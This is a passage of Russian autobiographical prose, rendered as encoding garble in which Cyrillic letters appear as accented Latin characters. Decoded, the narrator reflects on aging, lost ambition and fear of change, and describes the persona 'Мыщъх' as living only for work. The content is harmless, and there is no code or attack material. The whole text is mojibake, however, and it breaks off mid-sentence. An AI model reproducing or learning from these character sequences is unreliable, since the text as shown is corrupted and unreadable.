ðà è âîçâðàùàëñÿ ê ðàáîòå. Íî ïåð-
ñïåêòèâà áóäóùåãî — ýòî ìðàê, íå
ãîâîðÿ óæå î òîì, ÷òî âñå ñëèøêîì
çàòÿíóëîñü: ÿ ñòàë ñëèøêîì ñòàð, èñ-
÷åç ïîðûâ, ïîääåðæèâàþùèé ìåíÿ
íà âåòðó, èñ÷åçëè ýìîöèè è âñå ïðåâ-
ðàòèëîñü â «äà íó åãî íà ôèã!». ß íè
ê ÷åìó íå ñòðåìëþñü íå ïîòîìó, ÷òî
âñåãî äîñòèã, à ïîòîìó, ÷òî ïðîñòî
ïåðåñòàë ñòðåìèòüñÿ. Íó, ìîæåò
áûòü, åùå íå ñîâñåì ïåðåñòàë,
íî óæå íå òàê, êàê ðàíüøå. Ñåé÷àñ
ÿ áîëüøå âñåãî õî÷ó îñòàâèòü âñå
òàê, êàê åñòü è íè÷åãî íå ìåíÿòü.
ß ñòàë áîÿòüñÿ ïåðåìåí, èçáåãàòü èõ:
âñÿêàÿ ïåðåìåíà âîñïðèíèìàåòñÿ
êàê ñêðûòàÿ óãðîçà, êàê îòêàç îò ÷àñ-
òè ìåíÿ, îò ÷àñòè ìîåãî ìèðà, êîòî-
ðûé ñëîæèëñÿ ñëîâíî ìîçàéêà,
à âåñü îñòàëüíîé ìèð êàòèòñÿ ñîâñåì
íå òóäà, êóäà ÿ. Ìûùúõ óøåë â ñâîé
âíóòðåííèé ìèð, îò÷åòëèâî ïîíÿâ,
÷òî íèêàêîãî âíåøíåãî ìèðà ó íåãî
âîîáùå íåò, à åñòü òîëüêî ðàáîòà —
òîò åäèíñòâåííûé ñòåðæåíü, ÷òî äåð-
æèò åãî íà ïëàâó. Ìûùúõ íå ðàáîòà-
åò, ìûùúõ ïðîñòî ñæèãàåò âðåìÿ,
ïóñòèâ æèçíü íà ñàìîòåê â ñòðåìè-
òåëüíûõ ïåðåïàäàõ âå÷íî ìåíÿþùå-
ãîñÿ íàñòðîåíèÿ
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